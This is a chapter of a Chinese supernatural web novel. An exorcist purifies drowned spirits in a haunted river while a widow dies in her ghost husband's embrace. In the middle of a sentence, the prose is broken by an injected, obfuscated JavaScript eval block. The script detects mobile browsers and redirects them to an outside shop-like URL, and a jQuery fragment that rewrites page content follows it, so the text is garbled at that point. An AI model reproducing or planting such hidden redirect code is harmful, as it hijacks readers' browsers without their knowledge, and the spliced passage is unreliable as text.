刘芳的眼睫颤动了几下,缓缓睁开。她眸中的迷茫如同晨雾般氤氲不散,原本鲜艳的嫁衣正在以肉眼可见的速度褪色,从刺目的猩红逐渐变回素净的月白。 “我这是……?”刘芳的声音轻若游丝。 “你被选中了,你先自己回去,我这里还要忙。”应归燎语速飞快,话音未落已经一个箭步跨上石桥栏杆。 刘芳甚至来不及看清,只见那道修长的身影在栏杆上借力一蹬,便已毫不犹豫地纵身跃入下方漆黑如墨的河水中。 扑通一声,水面溅起的浪花很快归于平静,只剩下几圈荡起的涟漪。 水下世界冰冷而黑暗。应归燎屏住呼吸,睁开的双眼被河水刺得生疼。 他摸索着潜入河底,手指触碰到厚厚的淤泥和水草,以及铺在水底的石头。 他迅速从怀中掏出那枚罗盘,指尖凝聚起一丝微弱的灵力注入其中。 罗盘中心的六芒星图案开始缓缓转动,带动指针开始疯狂旋转,最终,在剧烈地颤抖了几下后,指向了某个方向。 罗盘到底只能指明一个大致的方向,应归燎拨开厚重的水草向前游去。飘荡的植物缠绕在手腕上,像是无数冰冷的手指在阻碍他前进。 他的手指抚过河底的碎石,有些边缘锋利如刀,很快在他手上划出几道细小的伤口。 血珠从伤口渗出,在河水中晕开丝丝缕缕的红线。诡异的是,这些血丝并未被河水稀释,反而在他眼前越聚越浓,色泽越发刺目,渐渐交织成一张笼罩视野的猩红之网。 应归燎根本无暇顾及这点异样,他全部心神都聚焦在罗盘指针那细微的颤动上,专注地跟着指引向前摸索。 突然,他触碰到一块异常温润的石头,那东西竟然在冰冷的河水中散发着微热的热度,更诡异的是从指腹下传来的若有若无的脉动,如同沉睡的心脏一般。 是思绪体! 应归燎眼前一亮,立刻将灵力注入其中。 刹那间,幽幽的绿色光荧从指间迸发,那块“石头”上裹着的淤泥在光芒中渐渐显出真容,竟然是一枚玉佩。 几乎同时,一段属于百年前的死亡记忆在一瞬间冲入他的脑海。即使应归燎已经很熟悉这个流程了,却还是被身临其境的窒息感干扰了。 那些记忆不属于他,却真实得可怕。岸上那些模糊却冷漠的围观面孔,冰冷河水争先恐后涌入鼻腔、灌满肺部的撕裂感,沉重嫁衣如铁索般将人拖向深渊的无助…… 记忆中的每一个细节都在此刻化作了最尖锐的武器,疯狂地攻击着他的神经,试图将他的意识一同拖入那永恒的死亡瞬间。 “唔……!” 应归燎的身体剧烈震颤,差点呛水。一串仓皇的气泡从他唇边逃逸,在幽暗的水中划出扭曲、凌乱的轨迹,旋即破灭。 应归燎强迫自己镇定下来,拼命蹬动发软的双腿向水面游去。 周围,那些由他鲜血织成的诡异密网,在暗流中曾悄然向他合拢。 然而,就在这张血网即将触及他身体的刹那,它们却像是遇到了某种无形的屏障,又悄无声息地退散开去,融于黑暗。 哗啦——! 应归燎的头猛地破出水面,他贪婪地大口呼吸,夜风裹挟着草木气息灌入灼痛的肺部,带来一丝活着的实感。他抬手抹去脸上的水珠,指尖却在微微发抖——那些冰冷的河水、沉重的嫁衣、灌满胸腔的窒息感,此刻依然清晰地烙印在感官深处。 他仰起头,稀疏的星光落进眼底。 然而那些沉在河底的灵魂,再也等不到一个可以自由呼吸的明天。 应归燎的喉结轻轻滚动,他将这瞬间涌上的涩意强行咽下。没有丝毫迟疑,再次深深地吸足一口气,义无反顾地扎入水中。 水花溅起,他再次沉入那片漆黑的寒冷之中。记忆的碎片仍在意识边缘叫嚣。 但此刻,他只能强行筑起心防,将其冷酷地隔绝在外,逼迫自己无视那阵阵源自灵魂深处的悲鸣与痛苦。 这才只是第一个。 河里还剩下二十多个这样的怨魂被锁在思绪体中,被困在尘世间。 唐佐佐和钟遥晚也在冒死引走嫁衣新娘。 他不能停。 不管涌入脑海中的记忆多么刺痛,他也绝不能停。 24. 千百年来 应归燎刚重新潜入水中,还未稳住身形,脚踝处猛地一紧! 那张没有散去的红色血网竟然从暗处突然蹿出,瞬间缠上他的双腿。 那些看似纤细的血丝,此刻却蕴含着远超想象的恐怖力道,如同无数钢索,将他猛地向下拖拽! 糟了! 应归燎在心中暗叫。他试图挣脱,可是血网却越缠越紧,甚至开始往他皮肤里钻,带来针扎般的刺痛。 他快速调整姿势,聚集力量,以灵力消除了血网的桎梏。 危机暂解,他正欲迅速上浮换气,手中的罗盘却突然发出了前所未有的剧烈震颤! 指针如同疯了一般在盘面上高速旋转。 应归燎浑身汗毛瞬间倒竖,一股冰冷的寒意沿着脊椎直冲头顶!他几乎是凭借本能猛地抬头望去—— 只见一道刺目的猩红身影,正从幽暗的河底急速逼近,是一个嫁衣女正以诡异的姿势向他游来! 嫁衣女宽大的衣袖在水中舒展,如同索命的罗刹。 居然还有嫁衣女守在河底! 应归燎根本没有强制消除实体化怨灵的灵力,在水中更是没有胜算。他当机立断,双腿猛蹬,全力向水面游去——必须把她引到岸上再做打算! 嫁衣女见他要走,身形猛地加速,如同一条嗅到血腥味的红色鲨鱼,瞬间逼近!她浮肿的双手死死地握住应归燎的脚踝,刺骨的寒意瞬间弥漫全身。 更可怕的是,那双手正爆发出恐怖的力量,拽着他往黑暗处沉去。 她想溺死他! 应归燎拼命挣扎。他自身灵力不够,罗盘里的灵力早就在为钟遥晚掩藏气息的时候用尽了,直到现在也没有完全恢复。 此刻,他根本没有任何反抗的手段! 窒息感开始压迫胸腔,绝望如同四周的河水般涌来。 应归燎咬紧牙关,他没有过多地思考,直接掏出罗盘拨动底下的圆盘。 就在他即将发动这最后一搏的刹那—— 数十道纯净的荧绿色光柱,如同数十颗沉睡的星辰于此刻骤然苏醒,在这片绝望的黑暗水底,绽放出强烈的光芒。 这突如其来的剧变,显然也完全出乎嫁衣女的意料。她猛地回头,猩红的盖头在激荡的水流中高高扬起,终于彻底露出了那张一直被遮掩的脸。 这张脸应归燎在刘芳家中见过。 是齐语民! 荧绿色的光芒如同利剑般刺破幽暗的河水,将整条河道映照得如同鬼蜮。 刘芳没有走,她看到应归燎跳入水中以后就一直焦急地等在岸边。 她虽然不识水性,对河底的恐怖更是心知肚明,可她无法忍受再有人葬身在这条吞噬了她丈夫的恶水之中。 不安的感情在她心底翻涌着,那是一种说不清道不明的预感,仿佛有什么重要的东西正要离她远去。 当看到河面突然迸发的异光时,刘芳不由自主地向前迈了一步,半个脚掌已经悬在河岸边缘。 “这是……?” 在荧光的穿透下,原本漆黑如墨的河水,此刻竟变得异常清晰,宛如一块巨大而透明的玻璃,将水下正在发生的一幕毫无保留地呈现在她眼前—— 她看见应归燎正在拼命挣扎上浮,而死死拽住他脚踝,将他拖向死亡深渊的那个身影,赫然是…… “阿民?!” 刘芳的声音瞬间撕裂。 那张朝夕相处的面孔此刻狰狞可怖,她却依然能辨认出熟悉的轮廓。 她甚至没有来得及去想这是怎么回事,没有来得及去想齐语民为什么会出现在河底,身体已经先一步做出了反应。 “噗通!” 冰冷的河水瞬间灌入口鼻,刘芳不顾呛水的痛苦,只是凭着那一股源自生命本能的冲动,用极其不熟练的笨拙姿势,拼命划动着双臂,直直地朝着水下那抹刺目的猩红身影游去。 刘芳对水性并不熟悉,对于游泳的经验仅于在海滩戴着泳圈划水。 此刻,她杂乱枯槁的长发被水流抚过,在幽绿的光晕中,如同一团逐渐化开,也即将消散的墨。 齐语民注意到她,动作明显地停顿了一下。 他拖拽应归燎的动作猛地一顿,那双暴突的眼球死死锁定在那抹正不顾一切向他靠近的素白身影上,浮肿青灰的脸上,竟清晰地浮现出一种极度挣扎的痛苦神色。 应归燎趁机甩开了禁锢,迅速上浮。 他和刘芳擦肩而过的时候拽住了刘芳的胳膊。应归燎拼命摇头示意危险,刘芳却只是回过头,在水中对他露出了一个极其短暂却无比平静而决绝的微笑。 随后,她猛地挣开了应归燎的手,没有丝毫犹豫,继续朝着那片代表死亡与执念的猩红,更深、更决绝地潜去。 但那身素白的衣裙在幽暗的水光中,却如同沉沉暗夜里点燃的最后一盏孤灯。 微弱,却带着焚尽自身的炽热,坚定地飘向她的归宿。 应归燎胸腔里的空气已经耗尽了。他破水而出,甚至顾不上抹去脸上的水珠,深吸一口气后便再次扎入水中。 应归燎望向深处,水下的一幕让他的心脏狠狠揪紧。 刘芳正用尽全身力气,紧紧抱住齐语民浮肿溃烂的身躯。她的双臂环绕在他的脖颈处,丝毫不介意渗出的黑血染脏了她的白衣。 齐语民青灰色的手颤抖着。他想推开她,想将她送回有光亮和水面的世界。可刘芳却倔强地摇着头,双手死死攥住他猩红的嫁衣,拒绝离开。 一串晶莹的气泡从她唇边溢出,上升,如同无声的泪。 应归燎看到刘芳的嘴唇在动,明明在水下发不出声音、明明她只要张嘴,冰凉的河水就会灌进她的口鼻,可是她还要与他相拥着诉说爱意。 齐语民推拒的动作,缓缓停住了。 那双充满怨毒与死气的眼睛里,有什么东西在碎裂,在融化。 最终,他抬起僵硬的手臂,用一种近乎虔诚的缓慢,轻轻地、小心翼翼地,回抱住了她。 两道身影,一素白,一猩红,在幽绿的光晕与黑暗的河水中紧紧相拥,如同一幅悲壮而永恒的水下剪影。 她意已决。 应归燎闭了闭眼,终究是没有再去打扰久未相逢的情侣。 他强迫自己移开视线,将所剩不多的灵力再度灌入罗盘。六芒星艰难地转动了一角,原本疯狂旋转的指针随之稳定,指向河床某处。 应归燎跟着指针,游向更深的黑暗。 水中尚未熄灭的光芒为他提供了些许视野。他摸索着冰冷的泥石,最终来到一道尤为强烈的光柱前。 他这才发现正在发光的居然是一块石头,那光芒忽明忽暗,如同垂死之人的脉搏。 应归燎试探性地抚摸上发光的石头,奇异的脉搏感跃然指上。 是思绪体! 他没有犹豫,将灵力注入石中。包裹石头的淤泥瞬间散去,显露出一枚样式古朴的铜戒。 “唔…!” 随着思绪体被净化,光柱骤然黯淡。与此同时,一段庞大而痛苦的记忆洪流,蛮横地冲入他的脑海! 肺部的灼痛感再次袭来,分不清是源于他自己的窒息极限,还是记忆中那溺水的绝望。 可是刚才被齐语民耽搁了太多时间,岸上的唐佐佐和钟遥晚还生死未卜,他不能再有任何拖延! 应归燎的太阳穴突突跳动,他咬破舌尖,尖锐的痛感和腥甜的血味瞬间刺激着神经,强行将涣散的意识拉回现实。 他将那枚已然失去光泽的铜戒揣进口袋,毫不犹豫地转向下一个闪烁的光点。 他抓起另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614258|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块发亮的石头,果然,又是一个被禁锢的思绪体。 有了光亮的指路,应归燎的净化变得异常顺利。 没有呼吸了,他就上浮换气。下沉后,不到肺叶灼痛、视野发黑绝不回头。一轮回忆还没有完全被消化,他就已经净化了第二个、第三个思绪体了。 他的指尖每一次触碰那些发光的石块,都像是直接接触到了死亡本身。每一段鲜活的、绝望的、挣扎的记忆都无比清晰地烙印在他的神经上。 他仿佛在这条怨念汇聚的河中死去了一次又一次。 舌尖早已被他咬得血肉模糊,铁锈味在口腔中蔓延,却成了保持清醒的唯一方式。 不能停,没时间了。 这个念头在应归燎混沌的大脑中反复回响。他机械地重复着净化的过程:抓住发光体、注入灵力、承受记忆冲击、直到胸腔里的气息尽了再上浮。 他的动作因重复而熟练,感官却因过度负荷而变得麻木。灵力已近乎枯竭,指尖催动出的光芒明灭不定,却仍旧固执地不肯熄灭。 第五轮、第六轮、第七轮……应归燎的脑海中充满着那些无尽黑暗的记忆,已经分不清现实与记忆的界限了。 他的瞳孔开始涣散,眼前浮现出无数重叠的幻影,有百年前被沉河的少女,也有近年来被害的可怜人。 水下的光柱随着净化逐一熄灭,周围的幽暗与记忆中的无边黑暗融为一体。耳边回荡的早已不是水流声,而是跨越时空、永无休止的凄厉哀嚎。 应归燎拖着几乎失去知觉的身体,游到最后一道摇曳的光柱边。就在指尖即将触碰那最后一块发光石头的刹那,他的目光却不自觉地投向远处的深渊—— 那里,刘芳与齐语民的身影,依旧在幽暗的水底紧紧相拥。 刘芳的脸上已经呈现出死寂的苍白,长发如水草般飘散,可她的手臂仍然死死环抱着那个穿着嫁衣的身影。 应归燎的喉咙像是被什么东西死死堵住,酸涩发紧。 他闭上眼,指尖终于触碰到了最后一个发光体。 在记忆洪流席卷而来的瞬间,他看到了齐语民的一生,他看到了他与刘芳初遇时的心动,相知时的默契,相爱时的炽热,相许时对未来的无限憧憬…… 记忆中两道人影如此鲜艳,而眼前,却只能在冰冷河底永恒沉寂的拥抱。 齐语民的身影随着他注入进泥石中的灵力,逐渐消散在水中。缠绕在嫁衣上的黑气化作细流,随着净化的光芒袅袅升向水面。 刘芳的尸体终于失去支撑,缓缓沉向河底最深处,素白的衣裙在黑暗中如同最后一片凋零的花瓣,归于寂静。 …… “噗哈——!” 应归燎破水而出的瞬间,黎明的第一缕阳光正好刺破云层。 他瘫倒在岸边的芦苇荡里,看着原本幽暗的河面被染上破碎的金色波光。他粗重地喘息着,胸膛剧烈起伏,仿佛要将那冰冷的河水与沉重的记忆一并呼出。 他替自己呼吸,也替那些曾在他脑海中嘶吼过的每一个灵魂呼吸。 恍惚间,应归燎似乎看到两道依偎的模糊身影,正立于粼粼波光之上。 但当他定睛看去,那里只剩晨风拂过水面,荡开的圈圈涟漪。 透支灵力的痛苦此刻才排山倒海般袭来。 应归燎的视线开始模糊,耳中嗡嗡作响。他一连净化了二十多个思绪体、给罗盘灌注灵力、清理血网……他的身体早已超出负荷。 “总算……结束了……” 应归燎对着空无一人的河面,发出一声如释重负的呢喃。 随即,他的眼前彻底陷入黑暗,意识沉沦。 最后的意识里,他看到河水平静如镜。 河面映照着朝阳,仿佛千百年来从未吞噬过任何生命。